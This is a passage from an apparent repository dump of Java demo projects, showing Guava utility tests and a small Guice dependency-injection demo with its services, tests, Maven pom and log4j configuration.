{\n\t\tException e = new NumberFormatException(\"a\");\n\t\tassertEquals(e, Throwables.getRootCause(e));\n\n\t\tIllegalArgumentException e2 = new IllegalArgumentException(e);\n\t\tassertEquals(e, Throwables.getRootCause(e2));\n\t}\n\n\tprivate void testGetStackTraceAsString() {\n\t\ttry {\n\t\t\tInteger.parseInt(\"a\");\n\t\t\tfail();\n\t\t} catch (Exception e) {\n\t\t\tassertTrue(Throwables.getStackTraceAsString(e).startsWith(\n\t\t\t\t\t\"java.lang.NumberFormatException: For input string: \\\"a\\\"\"));\n\t\t}\n\t}\n\n\tprivate void testGetCausalChain() {\n\t\tFileNotFoundException fnfe = new FileNotFoundException();\n\t\tIllegalArgumentException iae = new IllegalArgumentException(fnfe);\n\t\tRuntimeException re = new RuntimeException(iae);\n\t\tIllegalStateException ex = new IllegalStateException(re);\n\n\t\tassertEquals(Arrays.asList(ex, re, iae, fnfe), Throwables.getCausalChain(ex));\n\t\ttry {\n\t\t\tThrowables.getCausalChain(null);\n\t\t\tfail(\"Should have throw NPE\");\n\t\t} catch (NullPointerException expected) {\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/collections/CollectionUtilitiesTest.java",
    "content": "package com.jun.plugin.guava.collections;\n\nimport com.google.common.collect.Lists;\nimport com.google.common.collect.Ordering;\nimport com.google.common.collect.Sets;\nimport org.junit.Test;\n\n/**\n * @author tiantiangao\n */\npublic class CollectionUtilitiesTest {\n\n\t@Test\n\tpublic void test() {\n\t\ttestLists();\n\t\ttestSets();\n\t}\n\n\tprivate void testLists() {\n\t\tLists.newArrayList();\n\t\tLists.newArrayList(1, 2, 3);\n\t\tLists.newArrayList(Sets.newHashSet(1, 2, 3));\n\t\tLists.newArrayListWithCapacity(10);\n\t\tLists.newArrayListWithExpectedSize(10);\n\n\t\tLists.newLinkedList();\n\t\tLists.newLinkedList(Sets.newHashSet(1, 2, 3));\n\n\t\tLists.partition(Lists.newArrayList(1, 2, 3, 4, 5), 2);\n\t\tLists.reverse(Lists.newArrayList(1, 2, 3, 4, 5));\n\t}\n\n\tprivate void testSets() {\n\t\t// 静态工厂方法\n\t\tSets.newHashSet();\n\t\tSets.newHashSet(1, 2, 3);\n\t\tSets.newHashSetWithExpectedSize(10);\n\t\tSets.newHashSet(Lists.newArrayList(1, 2, 3));\n\n\t\tSets.newLinkedHashSet();\n\t\tSets.newLinkedHashSetWithExpectedSize(10);\n\t\tSets.newLinkedHashSet(Lists.newArrayList(1, 2, 3));\n\n\t\tSets.newTreeSet();\n\t\tSets.newTreeSet(Lists.newArrayList(1, 2, 3));\n\t\tSets.newTreeSet(Ordering.natural());\n\n\t\t// 集合运算(返回SetView)\n\t\tSets.union(Sets.newHashSet(1, 2, 3), Sets.newHashSet(4, 5, 6)).toString(); // 取并集[1,2,3,4,5]\n\t\tSets.intersection(Sets.newHashSet(1, 2, 3), Sets.newHashSet(3, 4, 5)); // 取交集[3]\n\t\tSets.difference(Sets.newHashSet(1, 2, 3), Sets.newHashSet(3, 4, 5)); // 只在set1, 不在set2[1,2]\n\t\tSets.symmetricDifference(Sets.newHashSet(1, 2, 3), Sets.newHashSet(3, 4, 5)); // 交集取反[1,2,4,5]\n\n\t\t// 其他工具方法\n\t\tSets.cartesianProduct(Lists.newArrayList(Sets.newHashSet(1, 2), Sets.newHashSet(3, 4))); // 返回所有集合的笛卡尔积\n\t\tSets.powerSet(Sets.newHashSet(1, 2, 3)); // 返回给定集合的所有子集\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guava/src/test/java/com/jun/plugin/guava/collections/ImmutableCollectionsTest.java",
    "content": "package com.jun.plugin.guava.collections;\n\nimport com.google.common.collect.*;\nimport org.junit.Test;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\n\nimport static org.junit.Assert.assertEquals;\n\n/**\n * @author tiantiangao\n */\npublic class ImmutableCollectionsTest {\n\n\t@Test\n\tpublic void test() {\n\t\ttestJDKUnmodifiedList();\n\t\ttestCreate();\n\t\ttestAsList();\n\t\ttestImmutableXXX();\n\t}\n\n\tprivate void testJDKUnmodifiedList() {\n\t\tList<String> lists = Lists.newArrayList(\"aa\", \"bb\", \"cc\");\n\n\t\tList<String> unmodifiedLists = Collections.unmodifiableList(lists);\n\t\tassertEquals(3, unmodifiedLists.size());\n\n\t\tlists.add(\"dd\");\n\t\tassertEquals(4, unmodifiedLists.size());\n\t}\n\n\tprivate void testCreate() {\n\t\ttestCopyOf();\n\t\ttestOf();\n\t\ttestBuilder();\n\t}\n\n\tprivate void testCopyOf() {\n\t\tArrayList<Integer> list = Lists.newArrayList(1, 2, 3);\n\t\tImmutableList<Integer> unmodifiedList = ImmutableList.copyOf(list);\n\t\tassertEquals(3, unmodifiedList.size());\n\n\t\tlist.add(4);\n\t\tassertEquals(3, unmodifiedList.size());\n\t}\n\n\tprivate void testOf() {\n\t\tassertEquals(4, ImmutableList.of(1, 2, 3, 4).size());\n\t\tassertEquals(4, ImmutableSet.of(1, 2, 3, 4).size());\n\t\tassertEquals(4, ImmutableMap.of(\"aa\", 1, \"bb\", 2, \"cc\", 3, \"dd\", 4).entrySet().size());\n\t\tassertEquals(4, (Object) ImmutableMap.of(\"aa\", 1, \"bb\", 2, \"cc\", 3, \"dd\", 4).get(\"dd\"));\n\t}\n\n\tprivate void testBuilder() {\n\t\tImmutableMap<Object, Object> map = ImmutableMap.builder().put(\"aaa\", 1).put(\"bbb\", 2).put(\"ccc\", 3).build();\n\t\tassertEquals(3, map.size());\n\t\tassertEquals(1, map.get(\"aaa\"));\n\t\tassertEquals(2, map.get(\"bbb\"));\n\t\tassertEquals(3, map.get(\"ccc\"));\n\t}\n\n\tprivate void testAsList() {\n\t\tImmutableSortedSet<Integer> iset = ImmutableSortedSet.of(5, 2, 3, 4, 1);\n\t\tImmutableList<Integer> ilist = iset.asList();\n\n\t\tList<Integer> list = Lists.newArrayList(1, 2, 3, 4, 5);\n\t\tassertEquals(list, ilist);\n\t}\n\n\tprivate void testImmutableXXX() {\n\t\tassertEquals(5, ImmutableList.of(1, 2, 3, 4, 5).size());\n\t\tassertEquals(5, ImmutableSet.of(1, 2, 3, 4, 5).size());\n\t\tassertEquals(5, ImmutableSortedSet.of(1, 2, 3, 4, 5).size());\n\t\tassertEquals(3, ImmutableMap.of(1, 2, 3, 4, 5, 6).size());\n\t\tassertEquals(3, ImmutableSortedMap.of(1, 2, 3, 4, 5, 6).size());\n\t\tassertEquals(9, ImmutableMultiset.of(1, 1, 2, 2, 3, 3, 4, 5, 6).size());\n\t\tassertEquals(6, ImmutableMultiset.of(1, 1, 2, 2, 3, 3, 4, 5, 6).elementSet().size());\n\t\tassertEquals(2, ImmutableMultiset.of(1, 1, 2, 2, 3, 3, 4, 5, 6).count(1));\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/.gitignore",
    "content": "/target/\n# Compiled class file\n*.class\n\n# Log file\n*.log\n\n# BlueJ files\n*.ctxt\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n*.jar\n*.war\n*.nar\n*.ear\n*.zip\n*.tar.gz\n*.rar\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*"
  },
  {
    "path": "jun_java_plugins/jun_guice/README.md",
    "content": "  ###guice\n\n  ####demo for google light ioc framework guice\n\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_guice</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<junit.version>4.11</junit.version>\n\t\t<mockito.version>1.10.8</mockito.version>\n\t\t<hamcrest.version>1.3</hamcrest.version>\n\t\t<guava.version>18.0</guava.version>\n\t\t<commons-lang.version>2.6</commons-lang.version>\n\t\t<commons-io.version>2.4</commons-io.version>\n\t\t<slf4j.version>1.7.7</slf4j.version>\n\t\t<maven-checkstyle-plugin.version>2.13</maven-checkstyle-plugin.version>\n\t\t<cobertura-maven-plugin.version>2.6</cobertura-maven-plugin.version>\n\t\t<guice.version>4.0-beta5</guice.version>\n\t\t<log4j.version>1.2.17</log4j.version>\n\t\t<slf4j-log4j12.version>1.7.5</slf4j-log4j12.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n\t\t\t<version>${guava.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.inject</groupId>\n\t\t\t<artifactId>guice</artifactId>\n\t\t\t<version>${guice.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.inject.extensions</groupId>\n\t\t\t<artifactId>guice-multibindings</artifactId>\n\t\t\t<version>${guice.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>${junit.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.hamcrest</groupId>\n\t\t\t<artifactId>hamcrest-all</artifactId>\n\t\t\t<version>${hamcrest.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.mockito</groupId>\n\t\t\t<artifactId>mockito-all</artifactId>\n\t\t\t<version>${mockito.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-lang</groupId>\n\t\t\t<artifactId>commons-lang</artifactId>\n\t\t\t<version>${commons-lang.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>${commons-io.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>${slf4j.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-log4j12</artifactId>\n\t\t\t<version>${slf4j-log4j12.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>log4j</groupId>\n\t\t\t<artifactId>log4j</artifactId>\n\t\t\t<version>${log4j.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/app/AppModule.java",
    "content": "package com.jun.plugin.guice.app;\n\nimport com.google.common.collect.ImmutableList;\nimport com.google.inject.*;\nimport com.google.inject.multibindings.Multibinder;\nimport com.google.inject.name.Named;\nimport com.google.inject.name.Names;\nimport com.jun.plugin.guice.item.ItemService;\nimport com.jun.plugin.guice.item.ItemServiceImpl1;\nimport com.jun.plugin.guice.item.ItemServiceImpl2;\nimport com.jun.plugin.guice.named.NamedService;\nimport com.jun.plugin.guice.named.NamedServiceImpl1;\nimport com.jun.plugin.guice.named.NamedServiceImpl2;\nimport com.jun.plugin.guice.order.OrderService;\nimport com.jun.plugin.guice.order.OrderServiceImpl;\nimport com.jun.plugin.guice.price.PriceService;\nimport com.jun.plugin.guice.runtime.RuntimeService;\nimport com.jun.plugin.guice.runtime.RuntimeServiceImpl;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.List;\n\nimport static com.google.common.collect.ImmutableList.of;\nimport static com.google.inject.Scopes.SINGLETON;\nimport static com.google.inject.matcher.Matchers.any;\nimport static com.jun.plugin.guice.app.ExceptionMethodInterceptor.exception;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class AppModule extends AbstractModule {\n    private static final Logger LOGGER = LoggerFactory.getLogger(AppModule.class);\n    private final RuntimeServiceImpl runtimeService;\n\n    public AppModule(RuntimeServiceImpl runtimeService) {\n        this.runtimeService = runtimeService;\n    }\n\n    @Override\n    public void configure() {\n        final Binder binder = binder();\n        if (LOGGER.isDebugEnabled()) {\n            binder.bindInterceptor(any(), any(), exception());\n        }\n        //TODO: bind interface\n        binder.bind(OrderService.class).to(OrderServiceImpl.class).in(SINGLETON);\n        //TODO: bind self class(without interface or base class)\n        binder.bind(PriceService.class).in(Scopes.SINGLETON);\n\n        //TODO: Multibinder\n        final Multibinder<ItemService> itemServiceMultibinder = Multibinder.newSetBinder(binder, ItemService.class);\n        itemServiceMultibinder.addBinding().to(ItemServiceImpl1.class);\n        itemServiceMultibinder.addBinding().to(ItemServiceImpl2.class);\n\n        //TODO: bind instance not class.\n        binder.bind(RuntimeService.class).toInstance(runtimeService);\n\n        //TODO: bind named instance;\n        binder.bind(NamedService.class).annotatedWith(Names.named(\"impl1\")).to(NamedServiceImpl1.class);\n        binder.bind(NamedService.class).annotatedWith(Names.named(\"impl2\")).to(NamedServiceImpl2.class);\n    }\n\n    @Provides\n    public List<NamedService> getAllItemServices(@Named(\"impl1\") NamedService nameService1,\n                                                 @Named(\"impl2\") NamedService nameService2) {\n        return of(nameService1, nameService2);\n    }\n\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/app/ExceptionMethodInterceptor.java",
    "content": "package com.jun.plugin.guice.app;\n\nimport com.google.common.base.Joiner;\nimport com.google.common.collect.Lists;\nimport org.aopalliance.intercept.MethodInterceptor;\nimport org.aopalliance.intercept.MethodInvocation;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.List;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class ExceptionMethodInterceptor implements MethodInterceptor {\n    private static final Logger LOGGER = LoggerFactory.getLogger(ExceptionMethodInterceptor.class);\n\n    private ExceptionMethodInterceptor() {\n    }\n\n    public static ExceptionMethodInterceptor exception() {\n        return new ExceptionMethodInterceptor();\n    }\n\n    @Override\n    public Object invoke(MethodInvocation methodInvocation) throws Throwable {\n        final String methodName = getMethodName(methodInvocation);\n        try {\n            LOGGER.debug(String.format(\"method(%s) call with: %s.\", methodName, getArgs(methodInvocation)));\n            final Object result = methodInvocation.proceed();\n            LOGGER.debug(String.format(\"method(%s) return with: %s.\", methodName, result));\n            return result;\n        } catch (Exception e) {\n            LOGGER.error(String.format(\"method(%s) error with: %s.\", methodName, e.getCause()), e);\n            throw e;\n        }\n\n    }\n\n    private Object getArgs(MethodInvocation methodInvocation) {\n        final List<String> args = Lists.newArrayList();\n        if (methodInvocation.getArguments() != null) {\n            for (int i = 0; i < methodInvocation.getArguments().length; i++) {\n                final Object arg = methodInvocation.getArguments()[i];\n                args.add(arg == null ? \"null\" : arg.toString());\n            }\n        }\n        return Joiner.on(\",\").join(args);\n    }\n\n    private String getMethodName(MethodInvocation methodInvocation) {\n        return String.format(\"%s-(%s)\", methodInvocation.getMethod().getDeclaringClass().getName(), methodInvocation.getMethod());\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/item/Item.java",
    "content": "package com.jun.plugin.guice.item;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class Item {\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/item/ItemService.java",
    "content": "package com.jun.plugin.guice.item;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic interface ItemService {\n    Item get(int id);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/item/ItemServiceImpl1.java",
    "content": "package com.jun.plugin.guice.item;\n\nimport com.google.inject.name.Named;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class ItemServiceImpl1 implements ItemService {\n    private static final Logger LOGGER = LoggerFactory.getLogger(ItemServiceImpl1.class);\n\n    @Override\n    public Item get(int id) {\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/item/ItemServiceImpl2.java",
    "content": "package com.jun.plugin.guice.item;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class ItemServiceImpl2 implements ItemService {\n    private static final Logger LOGGER = LoggerFactory.getLogger(ItemServiceImpl1.class);\n\n    @Override\n    public Item get(int id) {\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/named/NamedService.java",
    "content": "package com.jun.plugin.guice.named;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class NamedService {\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/named/NamedServiceImpl1.java",
    "content": "package com.jun.plugin.guice.named;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class NamedServiceImpl1 extends NamedService {\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/named/NamedServiceImpl2.java",
    "content": "package com.jun.plugin.guice.named;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class NamedServiceImpl2 extends NamedService {\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/order/Order.java",
    "content": "package com.jun.plugin.guice.order;\n\nimport java.util.Date;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class Order {\n    private int id;\n    private String customer;\n    private Date createDate;\n\n    public Order(int id) {\n        this.id = id;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public String getCustomer() {\n        return customer;\n    }\n\n    public void setCustomer(String customer) {\n        this.customer = customer;\n    }\n\n    public Date getCreateDate() {\n        return createDate;\n    }\n\n    public void setCreateDate(Date createDate) {\n        this.createDate = createDate;\n    }\n\n    @Override\n    public String toString() {\n        return String.format(\"Order{id=%d, customer='%s', createDate=%s}\", id, customer, createDate);\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/order/OrderService.java",
    "content": "package com.jun.plugin.guice.order;\n\n\npublic interface OrderService {\n\n    void add(Order order);\n\n    void remove(Order order);\n\n    Order get(int id);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/order/OrderServiceImpl.java",
    "content": "package com.jun.plugin.guice.order;\n\nimport com.google.inject.Inject;\nimport com.jun.plugin.guice.item.ItemService;\nimport com.jun.plugin.guice.price.PriceService;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Set;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class OrderServiceImpl implements OrderService {\n    private static final Logger LOGGER = LoggerFactory.getLogger(OrderServiceImpl.class);\n    private Set<ItemService> itemServices;\n    private PriceService priceService;\n\n    public OrderServiceImpl() {\n    }\n\n    @Inject\n    public OrderServiceImpl(Set<ItemService> itemServices, PriceService priceService) {\n        this.itemServices = itemServices;\n        this.priceService = priceService;\n    }\n\n    @Override\n    public void add(Order order) {\n        for (ItemService item : itemServices) {\n            item.get(0);\n        }\n        priceService.getPrice();\n    }\n\n    @Override\n    public void remove(Order order) {\n    }\n\n    @Override\n    public Order get(int id) {\n        for (ItemService item : itemServices) {\n            item.get(id);\n        }\n        return new Order(id);\n    }\n\n    public Set<ItemService> getItemServices() {\n        return itemServices;\n    }\n\n    public PriceService getPriceService() {\n        return priceService;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/price/PriceService.java",
    "content": "package com.jun.plugin.guice.price;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class PriceService {\n\n    public String getPrice() {\n        return \"price\";\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/runtime/RuntimeService.java",
    "content": "package com.jun.plugin.guice.runtime;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class RuntimeService {\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/main/java/com/jun/plugin/guice/runtime/RuntimeServiceImpl.java",
    "content": "package com.jun.plugin.guice.runtime;\n\n/**\n * ***************************************\n * *\n * Auth: green gerong                     *\n * Date: 2014                             *\n * blog: http://greengerong.github.io/    *\n * github: https://github.com/greengerong *\n * *\n * ****************************************\n */\npublic class RuntimeServiceImpl extends RuntimeService {\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/test/java/com/jun/plugin/guice/AppModuleTest.java",
    "content": "package com.jun.plugin.guice;\n\nimport com.google.common.collect.Lists;\nimport com.google.inject.Guice;\nimport com.google.inject.Injector;\nimport com.google.inject.Key;\nimport com.jun.plugin.guice.app.AppModule;\nimport com.jun.plugin.guice.item.ItemService;\nimport com.jun.plugin.guice.item.ItemServiceImpl1;\nimport com.jun.plugin.guice.item.ItemServiceImpl2;\nimport com.jun.plugin.guice.named.NamedService;\nimport com.jun.plugin.guice.order.Order;\nimport com.jun.plugin.guice.order.OrderService;\nimport com.jun.plugin.guice.order.OrderServiceImpl;\nimport com.jun.plugin.guice.price.PriceService;\nimport com.jun.plugin.guice.runtime.RuntimeService;\nimport com.jun.plugin.guice.runtime.RuntimeServiceImpl;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Set;\n\nimport static org.hamcrest.Matchers.instanceOf;\nimport static org.hamcrest.Matchers.sameInstance;\nimport static org.hamcrest.core.Is.is;\nimport static org.junit.Assert.assertThat;\n\npublic class AppModuleTest {\n\n    private Injector injector;\n\n    @Before\n    public void setUp() throws Exception {\n        injector = Guice.createInjector(new AppModule(new RuntimeServiceImpl()));\n    }\n\n    @Test\n    public void should_get_order_service_from_guice_module() throws Exception {\n        //given\n        //when\n        final OrderService instance = injector.getInstance(OrderService.class);\n        //then\n        assertThat(instance, is(instanceOf(OrderServiceImpl.class)));\n        final List<ItemService> itemServices = Lists.newArrayList(((OrderServiceImpl) instance).getItemServices());\n        assertThat(itemServices.get(0), is(instanceOf(ItemServiceImpl1.class)));\n        assertThat(itemServices.get(1), is(instanceOf(ItemServiceImpl2.class)));\n        assertThat(((OrderServiceImpl) instance).getPriceService(), is(instanceOf(PriceService.class)));\n        instance.add(new Order(100));\n    }\n\n    @Test\n    public void should_get_all_item_service() throws Exception {\n        //given\n\n        //when\n        final List<ItemService> instance = Lists.newArrayList(\n                injector.getInstance(new Key<Set<ItemService>>() {\n                })\n        );\n        //then\n        assertThat(instance.size(), is(2));\n        assertThat(instance.get(0), is(instanceOf(ItemServiceImpl1.class)));\n        assertThat(instance.get(1), is(instanceOf(ItemServiceImpl2.class)));\n    }\n\n    @Test\n    public void should_register_service_runtime() throws Exception {\n        //given\n\n        //when\n        final RuntimeService instance = injector.getInstance(RuntimeService.class);\n        //then\n\n        assertThat(instance, is(instanceOf(RuntimeServiceImpl.class)));\n    }\n\n    @Test\n    public void should_be_singleton_for_one_without_interface_bean() throws Exception {\n        //given\n\n        //when\n        final PriceService first = injector.getInstance(PriceService.class);\n        final PriceService second = injector.getInstance(PriceService.class);\n        //then\n\n        assertThat(first, is(sameInstance(second)));\n    }\n\n    @Test\n    public void should_get_named_service_with_Provides_bean() throws Exception {\n        //given\n\n        //when\n        final List<NamedService> namedServices = injector.getInstance(new Key<List<NamedService>>() {\n        });\n        //then\n\n        assertThat(namedServices.size(), is(2));\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_guice/src/test/resources/log4j.properties",
    "content": "#log4j.rootLogger=CONSOLE,FILE\nlog4j.rootLogger=DEBUG,CONSOLE\nlog4j.addivity.org.apache=true\n\n\n# 应用于控制台\nlog4j.appender.CONSOLE=org.apache.log4j.ConsoleAppender\nlog4j.appender.CONSOLE.Threshold=DEBUG\nlog4j.appender.CONSOLE.Target=System.out\nlog4j.appender.CONSOLE.Encoding=GBK\nlog4j.appender.CONSOLE.layout=org.apache.log4j.PatternLayout\nlog4j.appender.CONSOLE.layout.ConversionPattern=[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n\n\n# 每天新建日志\nlog4j.appender.A1=org.apache.log4j.DailyRollingFileAppender\nlog4j.appender.A1.File=/Users/zxgerong/project/opensource/java/guice-demo/target/log\nlog4j.appender.A1.Encoding=GBK\nlog4j.appender.A1.Threshold=DEBUG\nlog4j.appender.A1.DatePattern='.'yyyy-MM-dd\nlog4j.appender.A1.layout=org.apache.log4j.PatternLayout\nlog4j.appender.A1.layout.ConversionPattern=%d{ABSOLUTE} %5p %c{1}:%L : %m%n\n\n#应用于文件\nlog4j.appender.FILE=org.apache.log4j.FileAppender\nlog4j.appender.FILE.File=C:/log4j/file.log\nlog4j.appender.FILE.Append=false\nlog4j.appender.FILE.Encoding=GBK\nlog4j.appender.FILE.layout=org.apache.log4j.PatternLayout\nlog4j.appender.FILE.layout.ConversionPattern=[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n\n\n# 应用于文件回滚\nlog4j.appender.ROLLING_FILE=org.apache.log4j.RollingFileAppender\nlog4j.appender.ROLLING_FILE.Threshold=ERROR\nlog4j.appender.ROLLING_FILE.File=rolling.log\nlog4j.appender.ROLLING_FILE.Append=true\nlog4j.appender.CONSOLE_FILE.Encoding=GBK\nlog4j.appender.ROLLING_FILE.MaxFileSize=10KB\nlog4j.appender.ROLLING_FILE.MaxBackupIndex=1\nlog4j.appender.ROLLING_FILE.layout=org.apache.log4j.PatternLayout\nlog4j.appender.ROLLING_FILE.layout.ConversionPattern=[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n\n\n#应用于socket\nlog4j.appender.SOCKET=org.apache.log4j.RollingFileAppender\nlog4j.appender.SOCKET.RemoteHost=localhost\nlog4j.appender.SOCKET.Port=5001\nlog4j.appender.SOCKET.LocationInfo=true\n# Set up for Log Facter 5\nlog4j.appender.SOCKET.layout=org.apache.log4j.PatternLayout\nlog4j.appender.SOCET.layout.ConversionPattern=[start]%d{DATE}[DATE]%n%p[PRIORITY]%n%x[NDC]%n%t[THREAD]%n%c[CATEGORY]%n%m[MESSAGE]%n%n\n# Log Factor 5 Appender\nlog4j.appender.LF5_APPENDER=org.apache.log4j.lf5.LF5Appender\nlog4j.appender.LF5_APPENDER.MaxNumberOfRecords=2000\n\n# 发送日志给邮件\nlog4j.appender.MAIL=org.apache.log4j.net.SMTPAppender\nlog4j.appender.MAIL.Threshold=FATAL\nlog4j.appender.MAIL.BufferSize=10\nlog4j.appender.MAIL.From=\nlog4j.appender.MAIL.SMTPHost=www.wusetu.com\nlog4j.appender.MAIL.Subject=Log4J Message\nlog4j.appender.MAIL.To=\nlog4j.appender.MAIL.layout=org.apache.log4j.PatternLayout\nlog4j.appender.MAIL.layout.ConversionPattern=[framework] %d - %c -%-4r [%t] %-5p %c %x - %m%n\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/README.md",
    "content": "####  jun_gzip，项目主要基于JDK实现了Gzip压缩机解药，同时附带使用了AES加密解密\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_gzip/jun_compress_client/mvnw",
